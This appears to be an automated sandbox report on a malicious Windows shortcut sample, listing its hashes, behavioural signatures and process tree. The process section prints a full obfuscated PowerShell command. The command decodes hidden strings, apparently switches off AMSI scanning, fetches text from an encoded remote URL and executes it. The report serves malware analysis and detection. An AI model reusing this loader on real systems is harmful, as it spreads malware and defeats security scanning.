Analysis
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max time kernel
140s -
max time network
136s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
21-08-2024 19:35
Static task
static1
Behavioral task
behavioral1
Sample
b4c1f7bca89ed610ae26479d56d43d76_JaffaCakes118.lnk
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
b4c1f7bca89ed610ae26479d56d43d76_JaffaCakes118.lnk
Resource
win10v2004-20240802-en
General
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Target
b4c1f7bca89ed610ae26479d56d43d76_JaffaCakes118.lnk
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Size
3KB
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MD5
b4c1f7bca89ed610ae26479d56d43d76
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SHA1
a4b927418eb49d2c566d036a762d6eb76ff9c166
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SHA256
323c7a857915fa3b161360d792afa19a6e410811ec07d5d7e716ccf1720bd3d8
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SHA512
becc704d5d31ed86a600a164a5396d6c21794ad6be50054f4f6f00324f3b29b90ff7a2db14b189b72c203a8401310b04cda456f454a3d44bb7e9a32fa3a87069
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation cmd.exe -
pid Process 4476 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4476 powershell.exe 4476 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4476 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4740 wrote to memory of 4476 4740 cmd.exe 85 PID 4740 wrote to memory of 4476 4740 cmd.exe 85
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\b4c1f7bca89ed610ae26479d56d43d76_JaffaCakes118.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -WindowStyle 1 $sw='HABRGGGCKJSCLRGIAZGNHDOKMZZHJTRCHOYBOEILVXKBXSUNTQIWFQQLBNNEKSHKHRHKMSGGYUNHQ';function lsbno($as){$kp=[Text.StringBuilder]::New();$hb=3;for($nx=0;$nx -lt $as.Length;$nx+=2){$lg=-join($as.Substring($nx,2)[1,0]);[void]$kp.Append([char]([System.Convert]::ToUInt16($lg,16)+$hb));};return $kp.ToString();};$cc=lsbno '0567071726A6B2A4E5B6E54626A626B617B2E32717C6A6E51766C6B6B2E3A607662517669607';$zy=lsbno 'E5A6076664B6661734E566962616';$yf=lsbno 'B4C6B6D427F5966606920517E5176606';try{[Ref].Assembly.GetType($cc).GetField($zy,$yf).SetValue($Null,$True)}catch{};;$gz='KKUAOIXVHNEAC';sal nt ($gz[5,10,6] -join(''));$rh=lsbno '561717D673C2C25666472717F6E51666B646B2C6F646C236669626F2A24353033323E263D223B2F566B6';$vr=[Net.WebRequest]::Create($rh);$ek=$vr.GetResponse();$vv=$ek.GetResponseStream();$yr=[IO.StreamReader]::New($vv);$ro=$yr.ReadToEnd() -replace '\r*\n','';nt((lsbno $ro));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4476
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82